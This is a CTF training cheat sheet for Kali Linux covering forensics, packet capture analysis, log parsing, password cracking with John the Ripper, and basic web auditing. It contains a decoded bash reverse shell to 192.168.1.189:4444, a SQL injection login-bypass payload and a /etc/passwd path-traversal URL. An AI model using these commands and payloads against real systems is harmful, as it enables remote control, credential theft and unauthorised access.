╔══════════════════════════════════════════════════════════════════════════════╗ ║ HOWTOCTF.COM — KALI LINUX CTF COMPETITION OPERATIONS CHEATSHEET  ║ ║ Aligned with ITSO 2026 Standards · All Tools Pre-Installed in Kali Linux  ║ ╚══════════════════════════════════════════════════════════════════════════════╝ Usage Tip in Kali Terminal: cat howtoctf_cheatsheet.txt | less -R Search within less: Press "/" then type your keyword (e.g. /pcap, /john, /awk)  ┌──────────────────────────────────────────────────────────────────────────────┐ │ [MODULE 00] CORE ORIENTATION, TRIVIA & LINUX RECON  │ └──────────────────────────────────────────────────────────────────────────────┘ ▶ The CIA Triad Pillars & Attack Vectors: Confidentiality  : Secrecy/Encryption. Broken by leaks, eavesdropping, wiretapping. Integrity  : Data trustworthiness. Broken by tampering, MITM, unauthorized writes. Availability  : Uptime & service accessibility. DESTROYED BY DoS / DDoS ATTACKS. ▶ Standard Transport Ports (Memorize for Port Scan Triage): Port 21 / TCP  : FTP (File Transfer Protocol - CLEARTEXT credentials) Port 22 / TCP  : SSH (Secure Shell - encrypted remote management) Port 23 / TCP  : Telnet (Legacy terminal - CLEARTEXT session) Port 25 / TCP  : SMTP (Simple Mail Transfer Protocol - email routing) Port 53 / UDP+TCP  : DNS (Domain Name System resolution) Port 80 / TCP  : HTTP (Hypertext Transfer Protocol - unencrypted web) Port 443 / TCP  : HTTPS (HTTP over TLS/SSL - encrypted web) Port 4444 / TCP  : Default Metasploit / Netcat reverse shell listener port ▶ Find All SUID Executables on Linux System  INFO: SUID (-rwsr-xr-x) runs with permissions of file OWNER (root), not caller. $ find / -perm -4000 -type f 2>/dev/null ↳ Expected: Lists binaries like /usr/bin/passwd, /bin/su CVE Taxonomy  : Common Vulnerabilities and Exposures (e.g. CVE-2021-44228). ┌──────────────────────────────────────────────────────────────────────────────┐ │ [MODULE 01] ESSENTIAL SECURITY PRINCIPLES (CRYPTO & FORENSICS)  │ └──────────────────────────────────────────────────────────────────────────────┘ ▶ Base64 Decoding Pipeline  INFO: Base64 ends with = or == and uses A-Z, a-z, 0-9, +, /. It is ENCODING, not a hash. $ echo '' | base64 -d ↳ Expected: Plaintext payload string or flag ITSO{...} ▶ Base64 Encoding Pipeline  INFO: Use -n flag with echo to prevent adding a hidden trailing newline character. $ echo -n 'text_to_encode' | base64 ↳ Expected: Encoded Base64 string ▶ Unzip Kali RockYou Wordlist (Do this once if not yet unzipped)  INFO: Standard wordlist containing 14+ million real-world cracked passwords. $ sudo gunzip /usr/share/wordlists/rockyou.txt.gz ▶ Crack Raw MD5 Hash with John the Ripper  INFO: MD5 is always 32 hex characters (128 bits). For SHA-256 use --format=raw-sha256. $ echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt ↳ Expected: password (hash.txt) ▶ Show Cracked Passwords in John Cache  INFO: Reads ~/.john/john.pot without re-running the dictionary attack. $ john --show --format=raw-md5 hash.txt ▶ Extract Hidden Strings from Image / Binary (Forensic Carving)  INFO: Extracts printable strings of minimum 6 chars length and filters for target flags. $ strings -n 6 evidence_classified.png | grep -iE "(flag|itso|key)\{?" ↳ Expected: ITSO{st3g0_h1dd3n_1n_pl41n_s1ght} ▶ Inspect File MIME Type (Bypass fake extensions)  INFO: Reads magic bytes rather than trusting the filename extension. $ file suspicious_file ↳ Expected: PNG image data, 800 x 600, 8-bit/color RGBA ┌──────────────────────────────────────────────────────────────────────────────┐ │ [MODULE 02] BASIC NETWORK SETUP & WIRESHARK FORENSICS  │ └──────────────────────────────────────────────────────────────────────────────┘ ▶ Calculate IPv4 CIDR Subnet Boundaries Automatically  INFO: Subnet formula: Block Size = 2^(32-prefix). /26 = 2^6 = 64 addresses per block. $ ipcalc 192.168.10.0/26 ↳ Expected: HostMin: .1 | HostMax: .62 | Broadcast: 192.168.10.63 ▶ Quick Subnetting Reference Table: /24 Subnet  : Mask: 255.255.255.0 | Block: 256 IPs | Usable: 254 | Broadcast: .255 /26 Subnet  : Mask: 255.255.255.192 | Block: 64 IPs | Usable: 62 | Broadcast: (Base+63) /27 Subnet  : Mask: 255.255.255.224 | Block: 32 IPs | Usable: 30 | Broadcast: (Base+31) /28 Subnet  : Mask: 255.255.255.240 | Block: 16 IPs | Usable: 14 | Broadcast: (Base+15) /30 Subnet  : Mask: 255.255.255.252 | Block: 4 IPs | Usable: 2 | Point-to-Point ▶ Launch Wireshark GUI on Capture File in Background  INFO: The & sends Wireshark to background so your terminal remains free to type commands. $ wireshark network_traffic.pcap & ▶ Essential Wireshark Display Filters (Type in top green bar): ftp  : Shows cleartext FTP commands (look for USER and PASS lines). ftp-data  : Shows files transferred over FTP in active/passive mode. http.request.method == "POST" : Filters outbound HTTP submissions (login forms, data leaks). http.request.method == "GET" : Filters requested URLs and downloaded documents. ip.addr == 192.168.1.189 : Filters all traffic to or from a specific IP. tcp.port == 4444  : Isolates communication on common reverse shell port. Follow TCP Stream  : Right-click any packet ➔ Follow ➔ TCP Stream (reveals full plaintext conversation). ▶ Terminal-Only Extraction of FTP Cleartext Passwords (tshark)  INFO: Extracts raw FTP command arguments without needing the graphical interface. $ tshark -r network_traffic.pcap -Y 'ftp' -T fields -e ftp.request.command -e ftp.request.arg ↳ Expected: USER analyst \n PASS ITSO{ft9_cl34rt3xt_cr3ds_2026} ▶ Terminal-Only Extraction of Exfiltrated HTTP POST Payload (tshark)  INFO: Dumps POST body payloads submitted to web endpoints. $ tshark -r network_traffic.pcap -Y 'http.request.method == "POST"' -T fields -e text -e http.file_data ↳ Expected: exfiltrated_token=ITSO{p0st_d4t4_3xf1ltr4t10n_succ3ss} ┌──────────────────────────────────────────────────────────────────────────────┐ │ [MODULE 03] ENDPOINT SECURITY & INCIDENT RESPONSE  │ └──────────────────────────────────────────────────────────────────────────────┘ ▶ The Pro SSH Brute-Force Log Parser Pipeline  INFO: grep filters failed attempts; awk grabs IP (4th column from end); sort|uniq -c counts hits. $ grep 'Failed password' auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr ↳ Expected: 18 192.168.1.189 (Top attacker IP with 18 failed password attempts) ▶ Inspect Scheduled Cron Jobs for Root Persistence  INFO: Cron format: Minute Hour Day Month Day-of-Week User Command. Watch for /var/tmp or /tmp. $ cat /etc/crontab cat crontab_dump.txt ↳ Expected: */5 * * * * root /var/tmp/.hidden/sys_backup_updater.sh > /dev/null 2>&1 ▶ Deobfuscate Suspicious Shell Scripts (Reverse Shell Analysis)  INFO: Linux interactive sockets use /dev/tcp//. The port at the end is the attacker port. $ cat suspicious_script.sh echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTg5LzQ0NDQgMD4mMQ==" | base64 -d ↳ Expected: bash -i >& /dev/tcp/192.168.1.189/4444 0>&1 ▶ Inspect Active Network Connections & Listening Ports  INFO: Shows all listening sockets (-l), TCP (-t), UDP (-u), numerical ports (-n), process IDs (-p). $ netstat -tulnp ss -tulnp ┌──────────────────────────────────────────────────────────────────────────────┐ │ [MODULE 04] VULNERABILITY ASSESSMENT & WEB AUDITING  │ └──────────────────────────────────────────────────────────────────────────────┘ ▶ Audit Client HTML Source for Leaked Comments & Flags  INFO: Developers frequently leave test credentials in HTML comments (). $ grep -iE "(flag|itso|todo|debug|pass)" portal_login.html ↳ Expected:  ▶ Classic SQL Injection (SQLi) Auth Bypass: Target Query  : SELECT * FROM users WHERE user = '{INPUT}' AND pass = '{INPUT}' Classic Payload  : ' OR 1=1 -- How It Works  : 1. Quote (') terminates original string literal.   : 2. OR 1=1 forces the WHERE condition to evaluate TRUE for all rows.   : 3. Double-dash (--) instructs SQL engine to comment out password check. ▶ Local File Inclusion (LFI) & Path Traversal: Vulnerable URL  : http://target/view.php?file=../../../../etc/passwd Target File  : /etc/passwd (World-readable by all users; enumerates local usernames) Root Secret File  : /etc/shadow (Readable only by root; stores password hashes) ┌──────────────────────────────────────────────────────────────────────────────┐ │ [EMERGENCY] TOP 10 COMPETITION ONE-LINERS (QUICK RECALL)  │ └──────────────────────────────────────────────────────────────────────────────┘  1. echo '' | base64 -d (Decode Base64) 2. john --format=raw-md5 -w=/usr/share/wordlists/rockyou.txt h.txt (Crack MD5) 3. strings file.png | grep -i 'itso' (Find hidden text in image) 4. ipcalc 192.168.10.0/26 (Calculate broadcast IP) 5. wireshark traffic.pcap & (GUI packet triage) 6. tshark -r traffic.pcap -Y 'ftp' (CLI FTP password extraction) 7. tshark -r traffic.pcap -Y 'http.request.method == "POST"' (CLI POST data) 8. grep 'Failed' auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr  9. ' OR 1=1 -- (SQLi login bypass) 10. /etc/passwd (Primary Linux LFI target) ┌──────────────────────────────────────────────────────────────────────────────┐ │ [SURVIVAL] KALI BUILT-IN OFFLINE MANUAL TRICKS (100% LEGAL)  │ └──────────────────────────────────────────────────────────────────────────────┘ ▶ Search inside any man page (Press /): Run: man tshark ➔ Press / then type POST and hit Enter (Press "n" for next match). ▶ Query Wireshark field names directly in terminal: tshark -G fields | grep -i "ftp.request" tshark -G fields | grep -i "http.file_data" ▶ Quick help flags for any tool: john --help | base64 --help | ipcalc --help | grep --help ================================================================================  HOWTOCTF.COM — MASTER YOUR CYBER OPERATIONS · TRAIN HARD, WIN CLEAN ================================================================================